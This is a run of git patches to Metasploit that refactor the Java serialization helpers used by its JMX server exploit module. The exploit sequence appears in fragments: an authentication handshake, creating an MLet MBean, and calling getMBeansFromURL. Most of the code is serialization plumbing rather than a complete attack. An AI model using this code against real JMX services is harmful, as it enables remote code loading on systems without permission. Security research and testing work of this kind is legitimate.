auth_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new ] auth_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new auth_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new @@ -43,8 +43,8 @@ module Msf auth_array.array_description.description = auth_array_class_desc auth_array.type = 'java.lang.String;' auth_array.values = [ - Rex::Java::Serialization::Model::Utf.new(nil, username), - Rex::Java::Serialization::Model::Utf.new(nil, password) + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) ] auth_array diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index e30dfec357..4283a3b89f 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -74,8 +74,8 @@ module Msf new_class_desc.fields = [] new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new ] new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new @@ -96,9 +96,9 @@ module Msf marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e marshall_object_class_desc.flags = 2 marshall_object_class_desc.fields = [ - Rex::Java::Serialization::Model::Field.new, - Rex::Java::Serialization::Model::Field.new, - Rex::Java::Serialization::Model::Field.new + Rex::Java::Serialization::Model::Field.new, + Rex::Java::Serialization::Model::Field.new, + Rex::Java::Serialization::Model::Field.new ] marshall_object_class_desc.fields[0].type = 'int' @@ -114,8 +114,8 @@ module Msf marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new marshall_object_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new ] marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new @@ -128,8 +128,8 @@ module Msf data_binary_class_desc.fields = [] data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new data_binary_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new ] data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new @@ -144,9 +144,9 @@ module Msf marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new marshall_object.class_desc.description = marshall_object_class_desc marshall_object.class_data = [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary ] stream.contents << marshall_object @@ -158,8 +158,8 @@ module Msf new_array_class_desc.fields = [] new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new ] new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new @@ -190,7 +190,7 @@ module Msf new_array_class_desc.fields = [] new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::EndBlockData.new + Rex::Java::Serialization::Model::EndBlockData.new ] new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new diff --git a/lib/msf/jmx/util.rb b/lib/msf/jmx/util.rb index f00759dbce..dd58b15773 100644 --- a/lib/msf/jmx/util.rb +++ b/lib/msf/jmx/util.rb @@ -9,12 +9,12 @@ module Msf if stream.contents[1] new_object = stream.contents[1] else - print_error("#{peer} - getObjectInstance returned an incorrect answer") + vprint_error("getObjectInstance returned an incorrect answer") return nil end unless new_object.class == Rex::Java::Serialization::Model::NewObject - print_error("#{peer} - getObjectInstance didn't return a new object") + vprint_error("getObjectInstance didn't return a new object") return nil end @@ -27,12 +27,12 @@ module Msf if stream.contents[3] new_object = stream.contents[3] else - print_error("#{peer} - getMBeansFromURL returned an incorrect answer") + vprint_error("getMBeansFromURL returned an incorrect answer") return nil end unless new_object.class == Rex::Java::Serialization::Model::NewObject - print_error("#{peer} - getMBeansFromURL didn't return a new object") + vprint_error("getMBeansFromURL didn't return a new object") return nil end From 4247747fc5fc542eafc784a932731e78bdba0851 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 18 Jan 2015 01:13:00 -0600 Subject: [PATCH 050/103] Refactor extract_object --- lib/msf/jmx/util.rb | 27 +++---------------- .../exploits/multi/misc/java_jmx_server.rb | 10 +++---- 2 files changed, 9 insertions(+), 28 deletions(-) diff --git a/lib/msf/jmx/util.rb b/lib/msf/jmx/util.rb index dd58b15773..292b7a2acc 100644 --- a/lib/msf/jmx/util.rb +++ b/lib/msf/jmx/util.rb @@ -3,36 +3,17 @@ module Msf module Jmx module Util - def get_instance_answer(stream) + + def extract_object(stream, id) new_object = nil - if stream.contents[1] - new_object = stream.contents[1] + if stream.contents[id] + new_object = stream.contents[id] else - vprint_error("getObjectInstance returned an incorrect answer") return nil end unless new_object.class == Rex::Java::Serialization::Model::NewObject - vprint_error("getObjectInstance didn't return a new object") - return nil - end - - new_object.class_desc.description.class_name.contents - end - - def get_mbean_from_url_answer(stream) - new_object = nil - - if stream.contents[3] - new_object = stream.contents[3] - else - vprint_error("getMBeansFromURL returned an incorrect answer") - return nil - end - - unless new_object.class == Rex::Java::Serialization::Model::NewObject - vprint_error("getMBeansFromURL didn't return a new object") return nil end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index c8a4eceda6..6ea1baa865 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Failed to send handshake") end - answer = get_instance_answer(return_data) + answer = extract_object(return_data, 1) if answer.nil? fail_with(Failure::Unknown, "#{peer} - Unexpected handshake answer") @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") end - answer = get_instance_answer(return_data) + answer = extract_object(return_data, 1) if answer.nil? fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") @@ -211,7 +211,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Creating javax.management.loading.MLet MBean...") send_call(sock: server_sock, call_data: create_mbean_stream(conn_stub[:id].chop, 'javax.management.loading.MLet')) return_data = recv_return(sock: server_sock) - answer = get_instance_answer(return_data) + answer = extract_object(return_data, 1) if answer.nil? fail_with(Failure::Unknown, "#{peer} - Unexpected createMBean answer") @@ -237,7 +237,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") end - answer = get_instance_answer(return_data) + answer = extract_object(return_data, 1) if answer.nil? fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") @@ -267,7 +267,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed") end - answer = get_mbean_from_url_answer(return_data) + answer = extract_object(return_data, 3) if answer.nil? fail_with(Failure::Unknown, "#{peer} - Unexpected getMBeansFromURL answer") From 3a3e37ba6c4d680106671eb20703aac31c11a3af Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 18 Jan 2015 01:20:13 -0600 Subject: [PATCH 051/103] Refactor extract_mbean_server --- lib/msf/jmx/discovery.rb | 26 +------------------ .../exploits/multi/misc/java_jmx_server.rb | 15 ++++++++++- 2 files changed, 15 insertions(+), 26 deletions(-) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 3ab99c5f57..86cd2dcd15 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -17,31 +17,7 @@ module Msf stream end - def extract_mbean_server(stream) - my_block = false - stub = false - i = 0 - stub_index = 0 - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::BlockData && i == 0 - my_block = true - end - - if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIServerImpl_Stub' - stub = true - stub_index = i - break - end - i = i + 1 - end - - unless my_block && stub - return nil - end - - my_block_id = stream.contents[0].contents[1..-1] - - block_data = stream.contents[stub_index + 1] + def extract_mbean_server(block_data) data_io = StringIO.new(block_data.contents) ref_length = data_io.read(2) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 6ea1baa865..289cab923e 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -193,9 +193,22 @@ class Metasploit3 < Msf::Exploit::Remote fail_with("#{peer} - Failed to discover the JMX endpoint") end + answer = extract_object(return_data, 1) + + if answer.nil? + fail_with(Failure::Unknown, "#{peer} - Unexpected JMXRMI discovery answer") + end + + case answer + when 'javax.management.remote.rmi.RMIServerImpl_Stub' + print_good("#{peer} - RMIServerImpl_Stub instance found, using it") + else + fail_with(Failure::Unknown, "#{peer} - JMXRMI discovery returned unexpected object #{answer}") + end + print_status("#{peer} - Extracting MBean Server...") - mbean_server = extract_mbean_server(return_data) + mbean_server = extract_mbean_server(return_data.contents[2]) if mbean_server.nil? fail_with("#{peer} - Failed to extract the JMX MBean server endpoint") From 84f5c7ed61ee7089de51e0a503ee5589240212bb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 18 Jan 2015 01:23:19 -0600 Subject: [PATCH 052/103] Use extract_string and extract_int --- lib/msf/jmx/discovery.rb | 29 ++++++----------------------- 1 file changed, 6 insertions(+), 23 deletions(-) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 86cd2dcd15..29d88b15ed 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -20,33 +20,16 @@ module Msf def extract_mbean_server(block_data) data_io = StringIO.new(block_data.contents) - ref_length = data_io.read(2) - unless ref_length && ref_length.length == 2 - return nil - end - ref_length = ref_length.unpack('n')[0] - - ref = data_io.read(ref_length) - unless ref && ref.length == ref_length && ref == 'UnicastRef' + ref = extract_string(data_io) + unless ref && ref == 'UnicastRef' return nil end - address_length = data_io.read(2) - unless address_length && address_length.length == 2 - return nil - end - address_length = address_length.unpack('n')[0] + address = extract_string(data_io) + return nil unless address - address = data_io.read(address_length) - unless address && address.length == address_length - return nil - end - - port = data_io.read(4) - unless port && port.length == 4 - return nil - end - port = port.unpack('N')[0] + port = extract_int(data_io) + return nil unless port id = data_io.read From 86a37b4cffcfcae810473f90690fc8c8446323e3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 18 Jan 2015 17:47:26 -0600 Subject: [PATCH 053/103] First create NewClassDesc refactoring --- lib/msf/jmx/handshake.rb | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index a90f18d52f..324c971b65 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -25,18 +25,11 @@ module Msf end def auth_array_stream(username, password) - auth_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - auth_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') - auth_array_class_desc.serial_version = 0xadd256e7e91d7b47 - auth_array_class_desc.flags = 2 - auth_array_class_desc.fields = [] - auth_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - auth_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - auth_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - auth_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + builder = Rex::Java::Serialization::Builder.new + auth_array_class_desc = builder.new_class( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47 + ) auth_array = Rex::Java::Serialization::Model::NewArray.new auth_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new From 4220a5e60f0ad1347a41bb7cdfd9405fe1f3fa11 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 19 Jan 2015 11:53:53 -0600 Subject: [PATCH 054/103] Use Rex::Java::Serialization::Builder#new_class --- lib/msf/jmx/mbean/server_connection.rb | 127 +++++++------------------ lib/rex/java/serialization.rb | 3 +- 2 files changed, 37 insertions(+), 93 deletions(-) diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index 4283a3b89f..cb4663035e 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -22,6 +22,7 @@ module Msf end def get_object_instance_stream(id, name) + builder = Rex::Java::Serialization::Builder.new stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new @@ -31,19 +32,11 @@ module Msf stream.contents << block_data - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') - new_class_desc.serial_version = 0xf03a71beb6d15cf - new_class_desc.flags = 3 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - + new_class_desc = builder.new_class( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3 + ) new_object = Rex::Java::Serialization::Model::NewObject.new new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new new_object.class_desc.description = new_class_desc @@ -58,6 +51,7 @@ module Msf end def invoke_stream(id, object_name, method_name, arguments) + builder = Rex::Java::Serialization::Builder.new stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new @@ -67,19 +61,11 @@ module Msf stream.contents << block_data - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') - new_class_desc.serial_version = 0xf03a71beb6d15cf - new_class_desc.flags = 3 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - + new_class_desc = builder.new_class( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3 + ) new_object = Rex::Java::Serialization::Model::NewObject.new new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new new_object.class_desc.description = new_class_desc @@ -88,51 +74,22 @@ module Msf stream.contents << new_object stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) - marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject') - marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e - marshall_object_class_desc.flags = 2 - marshall_object_class_desc.fields = [ - Rex::Java::Serialization::Model::Field.new, - Rex::Java::Serialization::Model::Field.new, - Rex::Java::Serialization::Model::Field.new - ] + marshall_object_class_desc = builder.new_class( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ] + ) - marshall_object_class_desc.fields[0].type = 'int' - marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash') - - marshall_object_class_desc.fields[1].type = 'array' - marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes') - marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - - marshall_object_class_desc.fields[2].type = 'array' - marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes') - marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - - marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - marshall_object_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - - data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - data_binary_class_desc.serial_version = 0xacf317f8060854e0 - data_binary_class_desc.flags = 2 - data_binary_class_desc.fields = [] - data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - data_binary_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + data_binary_class_desc = builder.new_class( + name: '[B', + serial: 0xacf317f8060854e0 + ) data_binary = Rex::Java::Serialization::Model::NewArray.new data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new @@ -151,18 +108,10 @@ module Msf stream.contents << marshall_object - new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') - new_array_class_desc.serial_version = 0xadd256e7e91d7b47 - new_array_class_desc.flags = 2 - new_array_class_desc.fields = [] - new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + new_array_class_desc = builder.new_class( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47 + ) new_array = Rex::Java::Serialization::Model::NewArray.new new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new @@ -181,19 +130,13 @@ module Msf end def invoke_arguments_stream(arguments) + builder = Rex::Java::Serialization::Builder.new stream = Rex::Java::Serialization::Model::Stream.new - - new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') - new_array_class_desc.serial_version = 0x90ce589f1073296c - new_array_class_desc.flags = 2 - new_array_class_desc.fields = [] - new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + new_array_class_desc = builder.new_class( + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) new_array = Rex::Java::Serialization::Model::NewArray.new new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb index 983e8472e8..0761c15fdb 100644 --- a/lib/rex/java/serialization.rb +++ b/lib/rex/java/serialization.rb @@ -51,4 +51,5 @@ module Rex end end -require 'rex/java/serialization/model' \ No newline at end of file +require 'rex/java/serialization/model' +require 'rex/java/serialization/builder' \ No newline at end of file From ec57387821b236ffcc31c6af5bb7c9254e2086aa Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 19 Jan 2015 11:54:12 -0600 Subject: [PATCH 055/103] Add Rex::Java::Serialization::Builder#new_class --- lib/rex/java/serialization/builder.rb | 47 +++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 lib/rex/java/serialization/builder.rb diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb new file mode 100644 index 0000000000..f18fa27238 --- /dev/null +++ b/lib/rex/java/serialization/builder.rb @@ -0,0 +1,47 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + class Builder + def new_array(opts = {}) + + end + + def new_object(opts = {}) + end + + def new_class(opts = {}) + class_name = opts[:name] || '' + serial_version = opts[:serial] || 0 + flags = opts[:flags] || 2 + fields = opts[:fields] || [] + annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new] + super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new + + class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name) + class_desc.serial_version = serial_version + class_desc.flags = flags + class_desc.fields = [] + + fields.each do |f| + field = Rex::Java::Serialization::Model::Field.new + field.type = f[0] + field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1]) + field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2] + class_desc.fields << field + end + + class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + class_desc.class_annotation.contents = annotations + class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + class_desc.super_class.description = super_class + + class_desc + end + end + end + end +end \ No newline at end of file From 6ca86256cf77032699b3cde1e8483fc7c41df789 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 10:23:09 -0600 Subject: [PATCH 056/103] Add Rex::Java::Serialization::Builder#new_array --- lib/msf/jmx/handshake.rb | 21 ++++++------- lib/msf/jmx/mbean/server_connection.rb | 43 ++++++++------------------ lib/rex/java/serialization/builder.rb | 10 ++++++ 3 files changed, 32 insertions(+), 42 deletions(-) diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index 324c971b65..6b4bdb18e9 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -26,19 +26,16 @@ module Msf def auth_array_stream(username, password) builder = Rex::Java::Serialization::Builder.new - auth_array_class_desc = builder.new_class( - name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47 - ) - auth_array = Rex::Java::Serialization::Model::NewArray.new - auth_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - auth_array.array_description.description = auth_array_class_desc - auth_array.type = 'java.lang.String;' - auth_array.values = [ - Rex::Java::Serialization::Model::Utf.new(nil, username), - Rex::Java::Serialization::Model::Utf.new(nil, password) - ] + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) auth_array end diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index cb4663035e..1f3c9aee62 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -86,17 +86,13 @@ module Msf ] ) - data_binary_class_desc = builder.new_class( + data_binary = builder.new_array( name: '[B', - serial: 0xacf317f8060854e0 + serial: 0xacf317f8060854e0, + values_type: 'byte', + values: invoke_arguments_stream(arguments).encode.unpack('C*') ) - data_binary = Rex::Java::Serialization::Model::NewArray.new - data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new - data_binary.array_description.description = data_binary_class_desc - data_binary.type = 'byte' - data_binary.values = invoke_arguments_stream(arguments).encode.unpack('C*') - marshall_object = Rex::Java::Serialization::Model::NewObject.new marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new marshall_object.class_desc.description = marshall_object_class_desc @@ -108,20 +104,13 @@ module Msf stream.contents << marshall_object - new_array_class_desc = builder.new_class( + new_array = builder.new_array( name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47 + serial: 0xadd256e7e91d7b47, + values_type: 'java.lang.String;', + values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } ) - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_array_class_desc - new_array.type = 'java.lang.String;' - new_array.values = [] - arguments.keys.each do |k| - new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, k) - end - stream.contents << new_array stream.contents << Rex::Java::Serialization::Model::NullReference.new @@ -132,20 +121,14 @@ module Msf def invoke_arguments_stream(arguments) builder = Rex::Java::Serialization::Builder.new stream = Rex::Java::Serialization::Model::Stream.new - new_array_class_desc = builder.new_class( + + new_array = builder.new_array( name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: arguments.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } ) - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_array_class_desc - new_array.type = 'java.lang.Object;' - new_array.values = [ ] - arguments.values.each do |v| - new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, v) - end stream.contents << new_array stream diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb index f18fa27238..2d7e453854 100644 --- a/lib/rex/java/serialization/builder.rb +++ b/lib/rex/java/serialization/builder.rb @@ -5,7 +5,17 @@ module Rex module Serialization class Builder def new_array(opts = {}) + class_desc = opts[:description] || new_class(opts) + type = opts[:values_type] || '' + values = opts[:values] || [] + array = Rex::Java::Serialization::Model::NewArray.new + array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + array.array_description.description = class_desc + array.type = type + array.values = values + + array end def new_object(opts = {}) From 0584ae8177b9f2197742a81776617e4728ef2064 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 10:31:37 -0600 Subject: [PATCH 057/103] Add Rex::Java::Serialization::Builder#new_object --- lib/msf/jmx/mbean/server_connection.rb | 46 +++++++++----------------- lib/rex/java/serialization/builder.rb | 9 +++++ 2 files changed, 25 insertions(+), 30 deletions(-) diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index 1f3c9aee62..ffd99ec5c8 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -32,16 +32,11 @@ module Msf stream.contents << block_data - new_class_desc = builder.new_class( + new_object = builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3 ) - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - stream.contents << new_object stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) stream.contents << Rex::Java::Serialization::Model::EndBlockData.new @@ -61,31 +56,17 @@ module Msf stream.contents << block_data - new_class_desc = builder.new_class( + new_object = builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3 ) - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] stream.contents << new_object stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) - marshall_object_class_desc = builder.new_class( - name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, - fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ] - ) - data_binary = builder.new_array( name: '[B', serial: 0xacf317f8060854e0, @@ -93,15 +74,20 @@ module Msf values: invoke_arguments_stream(arguments).encode.unpack('C*') ) - marshall_object = Rex::Java::Serialization::Model::NewObject.new - 